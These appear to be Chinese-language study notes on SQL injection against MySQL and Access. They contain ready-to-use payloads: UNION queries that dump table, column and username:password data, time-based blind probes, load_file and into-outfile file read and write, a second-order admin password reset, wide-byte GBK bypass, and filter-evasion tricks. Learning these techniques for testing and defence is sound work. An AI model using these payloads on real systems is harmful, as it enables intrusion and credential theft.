注入漏洞
注入漏洞是对于解释性语言,用户与服务器交互式可以输入语句,成为程序执行的一部分
一sql的基本语句
增:insert into 表名(列名) values(值)
删:delete from 表名 where 条件
改:update 表名 set 列名=新列名 where 条件
查:select 列名 from 表名 where 条件
二mysql的基本知识
1、5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。
2、mysql注释:#或--空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙
3、常用函数:
user()查看当前mysql登录用户名
database()查看当前使用mysql数据库名
version()产看当前mysql版本
三sql注入类型
1、基于报错的注入
id值一般闭合:id=1 id='1' id=('1') id=("1")
加‘ 进行判断,根据报错信息,进行闭合,并将之后的字符串注释掉,有双引号时无报错,用进行转义看报错信息。
一般利用步骤:
(1)利用order by判断字段数
(2)利用union select 联合查询,获取表名 0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(3)获取字段名0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
(4)获取字段值0' union select 1,group_concat(username,0x3a,passsword),3 from users --+
(5)也可以利用user()等函数输出一些信息。如0' union select 1,user(),database()--+
post与get的区别:注入位置不同,无法通过浏览器直接修改和查看错误信息,需要通过插件来实现——使用bp截断
2、不再显示错误信息的盲注
盲注是向数据库发送true或flase的语句,通过返回的信息判断结果,有基于时间的盲注,有基于布尔的盲注
get基于时间与布尔的盲注
通过时间差来判断if (ascii(substr(database(),1,1))=115,1,sleep(3))
substr是将数据库的名字的从一移动一个位置的字符,通过ascii变为ascii值与115即s的ascii值进行比较,如果正确就执行一次sleep(3)
通过length(database()) ascii(substr(database(),1,1))> < = 某个值来不断猜解数据库的名称
post基于时间与布尔的盲注
与上基本相同,不过是用到bp,如时间可用 admin' and (select (if(length(database())>5,sleep(5),null)))
3、mysql注入读写文件
读:
前提:尽量有较高大权限,secure_file_prv的值必须不为空(可以在mysql.ini中配置)
在注入点构造 0' union select 1,load_file("绝对路径,中间要用//隔开"),3--+
写:
前提:general_log=on(可以在mysql.ini中配置)
在注入点构造 0' union select 1,'写入的内容',3 into outfile '绝对路径,中间用//隔开' --+
4、http头的注入信息
一些对用户输入的进行过滤,但一些插入到程序中的http头的信息没有过滤,可能有referer,user_agent等
5、cookie注入
cookie存在客户端,如果带入函数中,也不加过滤,可以在cookie处构造注入。查看cookie:可以在浏览器通过document.cookie查看。一些可能通过base64编码,所以构造的语句要进行base64编码
6、二次注入
首先用户向数据库提交信息,之后利用这些信息进行注入
如,用户首先注册一个admin'-- -的账户,在修改密码时,即可将admin的账户的密码修改为任意密码
其中因为没有相应过滤,且修改密码时的语句update 表名 set password= where username= and password=
当带入admin'-- - 后将后面的注释
7、access偏移注入
当得知表名,却无法通过暴力破解得到相应的字段名。通过数据库的自连接使数据库乱序,显示出偏移处的字段
order by 判断字段数,比如为10,通过union select 1,2,3,……,6,* from 表名,则10-6=4, 10-4* 2=2即通过union select1,2,a.id,b.id ,* from(admin as a inner join admin as b on a.id=b.id)
8、宽字节注入
php中可能通过addslashes函数将单引号等转义
这时如果mysql使用的是gbk编码可以用宽字节注入绕过
即用%df%27(%27是单引号的url编码)通过函数转义后变为%df%5c%27(%5c为/)
这时因为gbk编码占用两个字符,所以%df%5c组成到一起,使引号能够起作用闭合
四注入绕过
- 大小写绕过
- 双写绕过
- 通过url编码绕过
- mysql中通过内联注释绕过
- 绕过去除字符串的注入:这时不能用注释符注释掉后面的引号,可以通过 or '1'='1闭合后面的引号,如id=-1' union select 1,database(),'3在3处闭合
- 绕过去除and or 的注入:可以大小写,双写,内联用&& ||等
- 绕过空格:可以通过url编码